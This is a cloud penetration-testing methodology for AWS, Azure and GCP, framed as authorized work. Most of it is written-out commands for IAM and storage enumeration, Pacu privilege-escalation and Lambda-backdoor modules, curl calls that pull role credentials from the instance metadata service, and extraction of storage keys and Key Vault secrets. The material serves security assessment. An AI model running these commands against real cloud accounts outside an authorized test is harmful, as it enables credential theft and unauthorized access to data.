Conducting Cloud Infrastructure Penetration Test

Conducting Cloud Infrastructure Penetration Test

Overview

Cloud infrastructure penetration testing identifies security weaknesses in AWS, Azure, and GCP environments by targeting IAM policies, storage configurations, compute instances, serverless functions, network controls, and Kubernetes clusters. Cloud-specific attack vectors include over-privileged IAM roles, misconfigured storage buckets, exposed metadata services, insecure API endpoints, and lateral movement through cloud service chains.

Prerequisites

• Written authorization and cloud provider notification (AWS penetration testing policy, Azure rules, GCP terms)
• Cloud credentials with read-only access (assumed breach model) or unauthenticated external testing
• Tools: Pacu (AWS), ScoutSuite, Prowler, AzureHound, GCPBucketBrute, CloudMapper
• Understanding of shared responsibility model for each provider

AWS Penetration Testing

Initial Enumeration

# Verify caller identity
aws sts get-caller-identity

# Enumerate IAM permissions
aws iam get-user
aws iam list-attached-user-policies --user-name testuser
aws iam list-user-policies --user-name testuser

# Enumerate all IAM users and roles
aws iam list-users
aws iam list-roles
aws iam list-groups

# Enumerate EC2 instances
aws ec2 describe-instances --query 'Reservations[*].Instances[*].[InstanceId,State.Name,PublicIpAddress,PrivateIpAddress]' --output table

# Enumerate S3 buckets
aws s3 ls
aws s3 ls s3://target-bucket --recursive

# Enumerate Lambda functions
aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role]' --output table

# Enumerate RDS databases
aws rds describe-db-instances --query 'DBInstances[*].[DBInstanceIdentifier,Engine,PubliclyAccessible]' --output table

# Enumerate secrets
aws secretsmanager list-secrets
aws ssm describe-parameters

Pacu Exploitation Framework

# Install and configure Pacu
pip install pacu
pacu

# Import AWS keys
Pacu> set_keys
Pacu> import_keys testuser

# Run enumeration modules
Pacu> run iam__enum_permissions
Pacu> run iam__enum_users_roles_policies_groups
Pacu> run ec2__enum
Pacu> run s3__enum
Pacu> run lambda__enum

# Privilege escalation checks
Pacu> run iam__privesc_scan

# Exploit S3 bucket misconfigurations
Pacu> run s3__bucket_finder

# EC2 metadata SSRF exploitation
Pacu> run ec2__metadata_services

# Lambda backdoor (authorized testing)
Pacu> run lambda__backdoor_new_roles

S3 Bucket Testing

# Test for public buckets
aws s3 ls s3://target-corp-backup --no-sign-request
aws s3 cp s3://target-corp-backup/test.txt /tmp/ --no-sign-request

# Check bucket policy
aws s3api get-bucket-policy --bucket target-corp-backup
aws s3api get-bucket-acl --bucket target-corp-backup

# Test for ACL misconfigurations
aws s3api put-object --bucket target-corp-backup --key pentest_proof.txt \
  --body /tmp/proof.txt

EC2 Instance Metadata Exploitation

# From a compromised EC2 instance:
# IMDSv1 (if not disabled)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-Role-Name

# Extract temporary credentials
# Use them to enumerate further permissions
export AWS_ACCESS_KEY_ID=<from_metadata>
export AWS_SECRET_ACCESS_KEY=<from_metadata>
export AWS_SESSION_TOKEN=<from_metadata>
aws sts get-caller-identity

Azure Penetration Testing

Azure Enumeration

# Login with test credentials
az login -u testuser@target.onmicrosoft.com -p 'Password123'

# Enumerate subscriptions
az account list --output table

# Enumerate resource groups
az group list --output table

# Enumerate VMs
az vm list --output table

# Enumerate storage accounts
az storage account list --output table

# Enumerate App Services
az webapp list --output table

# Enumerate Key Vaults
az keyvault list --output table

# Enumerate Azure AD users
az ad user list --output table

# AzureHound for attack paths (like BloodHound for Azure)
azurehound list -u testuser@target.onmicrosoft.com -p 'Password123' -o azurehound.json

Azure-Specific Attacks

# Enumerate Managed Identity from compromised VM
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# Storage account key extraction
az storage account keys list --resource-group RG-Production --account-name targetstorageacct

# Key Vault secret extraction
az keyvault secret list --vault-name target-keyvault
az keyvault secret show --vault-name target-keyvault --name admin-password

# Stormspotter — Azure attack graph
python stormspotter.py --cli

GCP Penetration Testing

GCP Enumeration

# Authenticate
gcloud auth login

# List projects
gcloud projects list

# Enumerate compute instances
gcloud compute instances list

# Enumerate storage buckets
gsutil ls
gsutil ls gs://target-bucket/

# Enumerate IAM policies
gcloud projects get-iam-policy PROJECT_ID

# Enumerate Cloud Functions
gcloud functions list

# Enumerate service accounts
gcloud iam service-accounts list

# Check for public buckets
gsutil ls -L gs://target-bucket/ | grep "Access control"

Cross-Cloud Security Assessment

ScoutSuite Multi-Cloud Audit

# AWS audit
scout suite aws --profile testuser

# Azure audit
scout suite azure --cli

# GCP audit
scout suite gcp --user-account

# Review results in HTML dashboard
# Focus on: IAM, storage, networking, logging findings

Prowler (AWS CIS Benchmark)

# Run full CIS benchmark scan
prowler aws --profile testuser

# Run specific checks
prowler aws -c check11 check12 check13  # IAM checks
prowler aws -g s3  # S3 group
prowler aws -g forensics-ready  # Logging checks

# Export results
prowler aws -M json-ocsf -o ./prowler_results/

Findings Matrix

References

• Pacu: https://github.com/RhinoSecurityLabs/pacu
• ScoutSuite: https://github.com/nccgroup/ScoutSuite
• Prowler: https://github.com/prowler-cloud/prowler
• AzureHound: https://github.com/BloodHoundAD/AzureHound
• AWS Penetration Testing Policy: https://aws.amazon.com/security/penetration-testing/
• HackTricks Cloud: https://cloud.hacktricks.wiki/